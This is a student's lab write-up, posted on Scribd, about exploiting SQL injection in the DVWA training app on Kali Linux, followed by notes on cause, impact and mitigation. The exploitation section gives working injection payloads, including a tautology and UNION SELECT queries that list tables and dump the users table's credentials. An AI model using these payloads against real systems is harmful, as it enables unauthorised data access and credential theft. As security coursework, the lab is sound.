Scribd
Upload
6 views3 pages

DVWA SQL Injection Assignment

The document outlines a lab exercise focused on exploiting a SQL Injection vulnerability in the DVWA web application using Kali Linux. It details the setup process, exploitation steps, and the impact of SQL Injection, emphasizing the importance of secure coding practices to prevent such vulnerabilities. Mitigation strategies include using prepared statements and validating user input.

Uploaded by

XEOZ AMAN
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
6 views3 pages

DVWA SQL Injection Assignment

The document outlines a lab exercise focused on exploiting a SQL Injection vulnerability in the DVWA web application using Kali Linux. It details the setup process, exploitation steps, and the impact of SQL Injection, emphasizing the importance of secure coding practices to prevent such vulnerabilities. Mitigation strategies include using prepared statements and validating user input.

Uploaded by

XEOZ AMAN
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

DVWA Vulnerability Assessment

SQL Injection

Student Name: Aman Prasad

Course: Cybersecurity

Date: __________________
1. Objective
The objective of this lab is to deploy DVWA on Kali Linux and exploit a SQL Injection
vulnerability to understand how attackers extract sensitive data from databases.

2. Environment Setup
Attacking Machine: Kali Linux
Web Application: DVWA
Database: MySQL
Web Server: Apache

Steps:
1. Start services:
sudo service apache2 start
sudo service mysql start
2. Open browser → [Link]
3. Login with admin/password
4. Set security level to Low

[Screenshot 1: DVWA Login Page]


Caption: DVWA login interface.

[Screenshot 2: DVWA Dashboard]


Caption: Successful login dashboard.

[Screenshot 3: Security Level Low]


Caption: Security set to Low.

3. SQL Injection Vulnerability


SQL Injection occurs when user input is directly used in SQL queries without validation.

[Screenshot 4: SQL Injection Page]


Caption: Input field for testing.

4. Exploitation Steps
Normal Input: 1 → Valid user data returned.

[Screenshot 5: Normal Query]


Caption: Valid output.

Injection: 1' OR '1'='1 → Returns all users.


[Screenshot 6: Injection Success]
Caption: Multiple records displayed.

Extract Version: 1' UNION SELECT 1, @@version#

[Screenshot 7: DB Version]
Caption: Database version shown.

Extract DB Name: 1' UNION SELECT 1, database()#

[Screenshot 8: DB Name]
Caption: Database name shown.

Extract Tables: 1' UNION SELECT 1, table_name FROM information_schema.tables#

[Screenshot 9: Tables]
Caption: Tables listed.

Extract Users: 1' UNION SELECT user, password FROM users#

[Screenshot 10: Credentials]


Caption: User data extracted.

5. Vulnerability Cause
The application directly inserts user input into SQL queries without sanitization or
prepared statements.

6. Impact
Attackers can access sensitive data, dump databases, and bypass authentication.

7. Mitigation
Use prepared statements, validate input, apply least privilege, and deploy WAF.

8. Conclusion
SQL Injection allows attackers to manipulate databases and extract sensitive data,
highlighting the need for secure coding.

You might also like